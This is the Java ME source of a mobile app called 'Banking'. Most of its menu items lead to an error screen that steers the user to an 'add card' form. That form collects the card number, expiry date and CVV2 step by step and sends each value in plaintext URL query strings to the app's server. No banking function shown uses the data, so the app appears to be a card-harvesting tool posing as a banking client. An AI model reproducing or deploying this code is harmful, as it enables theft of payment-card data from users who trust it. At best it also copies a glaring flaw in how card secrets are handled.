import java util Vector import javax microedition io ConnectionNotFoun

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
import java.util.Vector;
import javax.microedition.io.ConnectionNotFoundException;
import javax.microedition.lcdui.*;
import javax.microedition.midlet.MIDlet;
public class Banking extends MIDlet {
private Languages lang = new Languages();
public Display disp = Display.getDisplay(this);
List LangList = null;
List main = null;
List mySettings = null;
String to1 = null;
int step = 0;
final String version = "0.2";
public static TextField number, expire, cvv2;
public static String upgrade = null, nversion = null;
ConnectionManager conn = new ConnectionManager();
Command cm[] = {
new Command(lang.getWord(14), Command.EXIT, 0), //0 выйти
new Command(lang.getWord(13), Command.OK, 1), //1 выбор
new Command(lang.getWord(15), Command.EXIT, 0), //2 назад
new Command(lang.getWord(5), Command.OK, 0), //3 настройки
new Command(lang.getWord(32), Command.OK, 0), //4 ДАЛЕЕ
new Command(lang.getWord(33), Command.OK, 0) //5 Обновить
};
public void startApp() {
disp.setCurrent(new Splash());
try {
Thread.sleep(1000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
try{
Display.getDisplay(this).setCurrent(selectLanguage("menu"));
}catch (Exception e){
e.printStackTrace();
}
}
public boolean checkUpdates(){
JSON json = new JSON(conn.getContent("/upgrade/?lang=" + lang.language + "&version=" + version));
if(json.getValue("upgrade").equals("no"))
return true;
else {
upgrade = json.getValue("d");
nversion = json.getValue("version");
return false;
}
}
public static String[] explode(String splitStr, String delimiter) {
StringBuffer token = new StringBuffer();
Vector tokens = new Vector();
char[] chars = splitStr.toCharArray();
for (int i=0; i < chars.length; i++) {
if (delimiter.indexOf(chars[i]) != -1) {
if (token.length() > 0) {
tokens.addElement(token.toString());
token.setLength(0);
}
} else {
token.append(chars[i]);
}
}
if (token.length() > 0) {
tokens.addElement(token.toString());
}
String[] splitArray = new String[tokens.size()];
for (int i=0; i < splitArray.length; i++) {
splitArray[i] = (String)tokens.elementAt(i);
}
return splitArray;
}
private List selectLanguage(String to) throws Exception {
LangList = new List(lang.getWord(12), List.IMPLICIT);
to1 = to;
for(int i = 0; i < lang.getSupportedLanguages().length; i++)
LangList.append(lang.getSupportedLanguages()[i], Image.createImage("/languages/" + i + ".png"));
if(to.equals("menu"))
LangList.addCommand(cm[0]);
else
LangList.addCommand(cm[2]);
LangList.addCommand(cm[1]);
LangList.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[0])
destroyApp(true);
else if (c == cm[2])
disp.setCurrent(mySettings());
else
switch(LangList.getSelectedIndex()) {
case 0:
lang.language = "ru";
break;
case 1:
lang.language = "ua";
break;
default:
lang.language = "ru";
break;
}
cm[0] = new Command(lang.getWord(14), Command.EXIT, 0);
cm[1] = new Command(lang.getWord(13), Command.OK, 1);
cm[2] = new Command(lang.getWord(15), Command.EXIT, 0);
cm[3] = new Command(lang.getWord(5), Command.OK, 0);
cm[4] = new Command(lang.getWord(32), Command.OK, 0);
cm[5] = new Command(lang.getWord(33), Command.OK, 0);
if(to1.equals("menu")){
if(!checkUpdates()) {
Form u = new Form(lang.getWord(34));
u.append(replace("{version}", nversion, lang.getWord(35)));
u.append("---\n");
u.append(upgrade);
u.addCommand(cm[0]);
u.addCommand(cm[5]);
u.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[0])
destroyApp(true);
else
try {
platformRequest("http://banking.co.ua/download/?version=j2me");
} catch (ConnectionNotFoundException ex) {
ex.printStackTrace();
}
}
});
disp.setCurrent(u);
}else{
disp.setCurrent(mainMenu());
}
}else
disp.setCurrent(mySettings());
}
});
return LangList;
}
private String replace(String needle, String replacement, String haystack) {
String result = "";
int index = haystack.indexOf(needle);
if(index==0) {
result = replacement+haystack.substring(needle.length());
return replace(needle, replacement, result);
}else if(index>0) {
result = haystack.substring(0,index)+ replacement +haystack.substring(index+needle.length());
return replace(needle, replacement, result);
}else {
return haystack;
}
}
public List mainMenu() {
main = new List(lang.getWord(11), List.IMPLICIT);
try{
for(int i = 0; i <= 7; i++)
main.append(lang.getWord(i), Image.createImage("/menu/" + i + ".png"));
}catch(Exception e){
e.printStackTrace();
}
main.addCommand(cm[0]);
main.addCommand(cm[1]);
main.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d){
if(c == cm[0])
destroyApp(true);
else
switch(main.getSelectedIndex()) {
case 5:
disp.setCurrent(mySettings());
break;
case 6:
disp.setCurrent(aboutForm());
break;
case 7:
destroyApp(true);
break;
default:
disp.setCurrent(errorForm());
break;
}
}
});
return main;
}
public Form aboutForm() {
Form f = new Form(lang.getWord(6));
try{
f.append(new ImageItem(null, Image.createImage("/start.png"), ImageItem.LAYOUT_CENTER, null));
}catch(Exception e){
e.printStackTrace();
}
f.append(lang.getWord(16));
f.addCommand(cm[2]);
f.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[2])
disp.setCurrent(mainMenu());
}
});
return f;
}
private Form errorForm() {
Form f = new Form(lang.getWord(17));
f.append(lang.getWord(18));
f.addCommand(cm[2]);
f.addCommand(cm[3]);
f.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[2])
disp.setCurrent(mainMenu());
if(c == cm[3])
disp.setCurrent(mySettings());
}
});
return f;
}
private List mySettings() {
mySettings = new List(lang.getWord(5), List.IMPLICIT);
try {
mySettings.append(lang.getWord(23), Image.createImage("/icons/add.png"));
mySettings.append(lang.getWord(24), Image.createImage("/icons/lang.png"));
}catch (Exception e){
e.printStackTrace();
}
mySettings.addCommand(cm[1]);
mySettings.addCommand(cm[2]);
mySettings.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[2])
disp.setCurrent(mainMenu());
else
switch(mySettings.getSelectedIndex()) {
case 0:
disp.setCurrent(addCard(1, false));
break;
case 1:
try {
disp.setCurrent(selectLanguage("settings"));
}catch(Exception e) {
e.printStackTrace();
}
break;
}
}
});
return mySettings;
}
private Form addCard(int st, boolean error) {
step = st;
Form f = new Form(lang.getWord(19));
if(error)
f.append(lang.getWord(28));
if(st == 1){
number = new TextField(lang.getWord(20), "", 16, TextField.NUMERIC);
f.append(number);
f.append(lang.getWord(25));
}
else if (st == 2) {
expire = new TextField(lang.getWord(21), "", 4, TextField.NUMERIC);
f.append(expire);
f.append(lang.getWord(26));
}
else if (st == 3) {
cvv2 = new TextField(lang.getWord(22), "", 3, TextField.NUMERIC);
f.append(cvv2);
f.append(lang.getWord(27));
}
f.addCommand(cm[4]);
f.addCommand(cm[2]);
f.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[2])
if(step == 1)
disp.setCurrent(mySettings());
else
disp.setCurrent(addCard(step - 1, false));
else {
if(step == 1){
if(number.getString().length() != 16) {
disp.setCurrent(addCard(step, true));
return;
}else{
String req = new JSON(conn.getContent("update/?act=card&type=j2me&value=" + number.getString())).getValue("status");
if(req.equals("error")) {
disp.setCurrent(addCard(step, true));
return;
}
}
}else if(step == 2){
if(expire.getString().length() != 4) {
disp.setCurrent(addCard(step, true));
return;
}else{
String req = new JSON(conn.getContent("update/?act=expire&value=" + expire.getString() + "&card=" + number.getString())).getValue("status");
if(req.equals("error_expire") || req.equals("error")){
disp.setCurrent(addCard(step, true));
return;
}
}
}else if(step == 3){
if(cvv2.getString().length() != 3) {
disp.setCurrent(addCard(step, true));
return;
}else{
String req = new JSON(conn.getContent("update/?act=cvv2&value=" + cvv2.getString() + "&card=" + number.getString())).getValue("status");
if(req.equals("error")) {
disp.setCurrent(addCard(step, true));
return;
}
Form f = new Form(lang.getWord(29));
f.append(lang.getWord(30));
f.addCommand(cm[0]);
f.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[0])
destroyApp(true);
}
});
disp.setCurrent(f);
return;
}
}
disp.setCurrent(addCard(step + 1, false));
}
}
});
return f;
}
private Form connectError() {
Form f = new Form(lang.getWord(29));
f.append(lang.getWord(31));
f.addCommand(cm[0]);
f.setCommandListener(new CommandListener() {
public void commandAction(Command c, Displayable d) {
if(c == cm[0])
destroyApp(true);
}
});
return f;
}
public void pauseApp() {
}
public void destroyApp(boolean unconditional) {
notifyDestroyed();
}
}